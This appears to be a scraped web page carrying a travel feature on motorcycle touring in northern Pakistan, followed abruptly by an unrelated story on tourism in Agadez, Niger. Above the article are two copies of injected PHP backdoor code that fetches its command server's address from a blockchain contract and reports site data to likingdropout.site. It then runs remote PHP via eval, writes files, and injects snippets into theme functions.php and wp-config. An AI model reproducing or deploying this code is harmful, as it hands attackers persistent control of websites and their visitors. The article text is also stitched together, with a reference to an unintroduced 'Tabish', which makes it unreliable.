Marco Ferrarese
August 21, 2018
// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
https://media.wired.com/photos/5c12e820d396be0cb1d2b1e2/master/pass/VSSUnity_120316_VG01_A2A_OO021.jpg
Marco Ferrarese
August 21, 2018
In the mesmerizing mountains of Gilgit-Baltistan, a young adventure tour company is doing all it can to bring tourists back to Pakistan. Marco Ferrarese goes full-throttle.
I’m riding a mean 150cc Suzuki along a barren strip of rocks and sand that most would never dare to call a ‘road’. And yet, in the mountains of Gilgit-Baltistan, this is the main 200-kilometer link between the legendary Karakoram Highway and Skardu, a lesser-known, but no less stunning, high-altitude desert valley.
As my wheels screech in the rubble, I squeeze to the right near the edge of a 20-meter drop. My wife, Kit Yeng, is sandwiched between my back and a couple of packs. Cold sweat rolls down my spine as I watch the Indus River run and crash between a majestic gorge of fang-like rocks that jut out below us.
Gulping, I look ahead and try to keep cool as I twist the throttle to overtake the pick-up truck that clogs my passage. It puffs exhaust fumes and dust into my face, choking me and blurring my vision. Its back is converted into rows of cages filled with chickens, half of them dead. Each time I get near the meat wagon, the pungent whiff of dying birds, old blood and fresh faeces slaps my nostrils.
What the hell am I doing here? I’ve desperately wanted to visit the northern regions of Pakistan for the past six years. My main problem was obtaining a visa … Given Pakistan’s security situation, one can only apply in his or her country of birth or residence, supported by plenty of paperwork, and a tour operator willing to issue a crucial invitation letter and take full responsibility for each traveler.
RELATED: Hiking remote, spectacular Afghanistan
I had almost given up, when, at the beginning of this year, I found Karakoram Bikers. For the past couple of years, this small, Gilgit-based motorcycle company has offered visa support, organized self-driving adventure tours and rented out bikes to 180-plus international tourists. They are working against all odds to change the general perception that Pakistan is a dangerous nation dominated by terrorism.
“Travelers think that a visa sponsorship is a very small thing to do, but on the contrary, it’s a big responsibility to me,” says Syed Hamza Mobeen, better known as Shah, the Lahore-born co-founder of Karakoram Bikers. “If anything happens to that person, the government will come to me first. Also, it’s not legal to issue an invitation letter to someone who’s not with you on a tour.”
“In 2014, I went off to Skardu and the Deosai National Park with 10 other bikers,” remembers Shah. “And in 2015, we followed up with another two-week trip through Swat Valley, Gilgit, Skardu, Deosai and back to Lahore.” He first fell in love with the Karakoram mountains 20 years ago on a Boy Scout outing to a local hill station. In 2012, Shah backpacked to the fabled Hunza Valley, ever mindful of the beauty of Pakistan’s northern regions.
After every trip, Shah and his gang were excited to share their pictures and videos with the world. “There’s a very popular Indian Facebook group called The Himalayan Club,” says Shah. “It felt natural to post photos of our mountain discoveries. But given the troubled relationship between the two nations, the group’s administrators asked us to stop mentioning Pakistan in our captions and geotags, and ultimately banned us”.
Angered, Shah and two friends decided to create their own page, The Karakoram Club, adding local trekkers, riders and hiking enthusiasts into their fold. The community has grown exponentially into 188,000 active members who share suggestions and insights. Many foreigners with a burning desire to travel to Pakistan began signing up for news too.
“The potential for adventure tourism in Pakistan is enormous,” says Liz Norman, Shah’s Australian wife and co-founder of Karakoram Bikers. “Those who visit end up loving Pakistan, and us, as we make it very easy for them to come here.” The couple met online, where Shah saw some of Liz’s posts about her motorbike trip to Ladakh in India. He invited her to experience the beauty of the Karakoram mountains on two wheels.
As they stood awe-struck before the Passu Cones, a sheer wall of cathedral-like rock formations in the northern stretch of Hunza, they agreed that such beauty couldn’t remain hidden from the rest of the world. And Karakoram Bikers was born.
Tabish’s claims aren’t just anecdotal either. According to the South Asia Terrorism Portal, civilian deaths as a result of terrorist attacks in Pakistan peaked in 2013 and have gradually declined in the years since, with fewer in 2017 than at any time since 2005.
In my 31 days scooting around the country, I found hospitable people, decent infrastructure, attractive—if empty—guesthouses, and some of the most jovial police and army officers I’d ever encountered. All told, it was also far less hassle to travel through than neighboring India. Security measures for foreign visitors are certainly tight—I was given an armed escort in several areas near the Afghan border—and for good reason, but I also had an army lieutenant treat me to a hot chai and cookies during passport control.
RELATED: Why we should travel to ‘dangerous’ places
By bringing tourists in, Karakoram Bikers also helps the locals make a source of livelihood. Without the higher-spending international guests who need English-speaking guides, porters and drivers, many of the young villagers in the rural areas are forced to leave their homes and families behind. Jobs are a 16-hour-plus bus ride south to Islamabad, a place ripe with Chinese investment. Others move four hours further south, to Lahore.
“If we sell a multi-day tour for $ 1,000, 80 per cent of that is re-invested into hiring local drivers, booking locally owned hotels, and eating at local restaurants,” explains Shah. “We retain 20 per cent and the rest goes back into the local communities.”
Mawli Dayak turns emotional as he quotes his late father, Mano Dayak, the legendary former rebel leader of Niger’s Tuareg community. “You can’t speak about the desert, you have to live it,” says Dayak, as our conversation in the central Niger city of Agadez veers from a formal interview to words like attay, the tea served in every Tuareg home. But Dayak’s words aren’t meant only for the residents of the city. The 40-year-old is part of an emerging movement to restore the historic city of Agadez, once known as the gateway to the Sahara, back to its eminence as a tourist destination — against the odds.
Until 2007, charter flights packed with European visitors would land in Agadez throughout the winter. Cars for the Paris-Dakar rally would warm up their engines here, before racing through some of the most spectacular settings in the world. A series of armed rebellions in northern Niger first dented that reputation. Then came jihadi movements and instability across the borders in Mali and Libya starting in 2011, which, coupled with militant attacks in Agadez and the town of Arlit 200 kilometers north in 2013, appeared to have wiped out that legacy. Instead, Agadez became a notorious human-smuggling route through which thousands of migrants from sub-Saharan Africa were illegally ferried into Libya and, eventually, Europe.
”There’s not a single day that I don’t think about my friends [in] Europe. I know they want to come back, and I dream to see them again.”
Kawal Akilal, migration agent
But the city is trying to turn the clock back, desperately battling to reattract tourists. The 20,000 tourists who would nose around the alleys of the old city every winter up to 2007, before leaving for expensive desert tours, are still a mirage. Smaller groups, though, are starting to reappear.
The Pension Tellit, a once-popular hotel that closed in 2007, at the dawn of the last rebellion, reopened in mid-2017 and has since hosted more than 500 visitors. The local government is considering proposals for a tourist security guard, patrolling desert areas, along the lines of what Mauritania, Tunisia and Morocco have done. Hundreds of Western visitors have been escorted in the winters of 2017 and 2018 to the Festival de l’Aïr, a Tuareg cultural festival held in the remote oasis of Iferouane. UNESCO helped by awarding Agadez the status of a World Heritage Site in 2013. In December 2016, a government-supported chartered flight landed in Agadez from Paris, for the first time in 10 years. And in June, Dayak’s firm Temet Evenéments brought more than 100 panelists from across Africa to Agadez for a tourism conference titled “Carrefour pour le Tourisme et l’Innovation en Afrique Occidentale” (“Crossroads for Tourism and Innovation in West Africa”).
“We’ll bring back tourism to Niger and to the Sahara,” says Dayak — a promise he keeps repeating throughout the interview.
To understand the magnitude of the challenge, Dayak and others in Agadez face, look no further than the travel advisories of most Western governments, where the city remains on a no-go list. “Reconsider travel,” warns the U.S. Department of State, as “terrorists may attack with little or no warning in the areas bordering Mali, Libya and throughout northern Niger.” “Armed groups, living out of drugs trafficking, weapons smuggling and kidnapping, are active all over the country,” writes the Swiss Foreign Ministry. A color-coded map from the U.K. Foreign Office labels 75 percent of the country — including Agadez — with a red “advise against all travel.”
These warnings didn’t stop thousands of African migrants from traveling to central Niger, where former tourist guides became immigration consultants offering them advice and routes — for a fee — to illegally cross over into Libya, and then into Europe. That model — loaded with risk for migrants and their Nigerien agents — suffered a crushing blow in 2015, when the Nigerien government banned human smuggling under pressure from the EU. Hundreds of drivers were arrested, their vehicles confiscated.
Kawal Akilal is one of the passeurs — agents — who has suffered from the ban. Sitting at a friend’s artisanal shop in the shadow of the magnificent 17th-century minaret of the city’s central mosque, Akilal, a tall man in his mid-40s, says transporting migrants was always less profitable and more dangerous than tourism, and after the 2015 ban, is getting “harder and harder.”
But the crackdown rekindled memories for Akilal of earlier days when as a boy and then as a young man, he guided tourists and made friends from distant countries. “I grew up with White people,” he says, adding that he would “guide them in the alleys of the old town.” Akilal is confident that past can return. “There’s not a single day,” he says, his eyes glowing, “that I don’t think about my friends from all over Europe. I know they want to come back, and I dream to see them again.”
For Dayak, the revival of the city is also a personal mission, a way to honor his father’s legacy. Mano Dayak, who died in a plane crash in 1995 after striking a historic peace deal with the Nigerien government, helped bring tourists and economic opportunities to a previously isolated region. The Dayak family house bears testimony to the Dayaks’ love affair with their city. Shadows overlap in the vast entry salon, where sunlight filters through windows shaped as the cross of Agadez, the symbol of the city.
Not everyone is convinced these efforts at rebuilding Agadez as a tourist hub will work. “Relaunching tourism needs a huge investment,” says Vittorio Cioni, an 81-year-old Italian who formed Niger’s first travel company. He has lived in the country since the 1970s and now runs the Pension Tellit and a pizzeria next to the Agadez central mosque. “Who’s willing to do it in such a situation of uncertainty?” he says. The idea of tourist patrols, to him, is antithetical to “the idea of desert travel: to be completely free, with no boundaries.”
Dayak concedes there are unanswered questions. Support from major Western nations, he says, will be critical to improving security and bringing back “tolerance and generosity” to the dunes of the region’s Ténéré desert. But he believes Agadez can overcome its obstacles. After all, the U.S. also has mass shooting and violent deaths, he points out. For Agadez, he says, African visitors represent a potential market too.
